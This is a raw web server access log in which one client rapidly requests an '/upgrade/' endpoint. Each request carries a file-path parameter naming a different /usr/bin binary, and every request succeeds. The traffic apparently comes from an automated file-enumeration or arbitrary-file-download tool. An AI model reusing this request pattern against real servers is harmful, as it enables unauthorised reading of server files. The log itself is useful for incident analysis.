45.135.193.11 - - [11/Sep/2026:22:50:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcompare&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99018 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcompare&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdebuginfod-find&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102281 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdebuginfod-find&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-shell&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 2861145 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgit-shell&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 1080429 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgcmp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105910 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgcmp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fping&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 131497 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fping&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprotoc-gen-c&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 164457 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprotoc-gen-c&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_readcap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104050 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_readcap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsiio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103874 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsiio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fuuidparse&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103960 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fuuidparse&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 821760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_rsync&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105997 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwsrep_sst_rsync&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-check&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 999037 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-check&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fod&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 125238 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fod&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpython-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftype&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftype&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzfgrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzfgrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fionice&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102297 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fionice&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwatch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fwatch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2F7za&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 875255 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2F7za&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-secure-installation&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-secure-installation&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlshow&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 995521 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmysqlshow&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-add&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100867 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-route-add&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprecat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98181 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprecat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_ident&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101565 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_ident&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsgm_dd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110139 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsgm_dd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fshuf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116930 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fshuf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdltest&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99596 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdltest&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgettext&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108092 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgettext&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtk-update-icon-cache&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110332 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtk-update-icon-cache&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fi386&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103206 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fi386&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsipc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116428 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsipc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-neigh-delete&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-neigh-delete&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptargrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97427 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fptargrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrace-log-merge&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96939 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrace-log-merge&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:36 -0400] "GET /upgrade/?location=%2Fusr%2F HTTP/1.1" 200 6660 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgme-json&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 130748 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgpgme-json&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimport&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99042 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimport&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmy_print_defaults&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 885731 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmy_print_defaults&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftzselect&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102722 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftzselect&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzone2json&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 606037 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fzone2json&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsw-engine&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 6146389 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsw-engine&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-classid-lookup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99881 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-classid-lookup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetmetamode&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101005 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetmetamode&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftac&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 146560 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftac&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteam2bond&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100273 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fteam2bond&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fumount&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108556 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fumount&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzegrep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98084 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxzegrep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-groups-manager&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97689 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-groups-manager&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fencguess&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97147 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fencguess&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbmtool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 159107 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgdbmtool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftop&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 156324 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftop&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fudevadm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 302408 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fudevadm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcxpm&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106813 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcxpm&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_copy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99884 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmdb_copy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2epsi&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96242 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fps2epsi&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_readcap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96297 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_readcap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxslt-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96710 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fxslt-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc89&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95969 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fc89&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcov-tool&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 255739 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgcov-tool&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtk-query-immodules-3.0-64&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103711 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgtk-query-immodules-3.0-64&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:50:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flex&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 240097 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flex&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
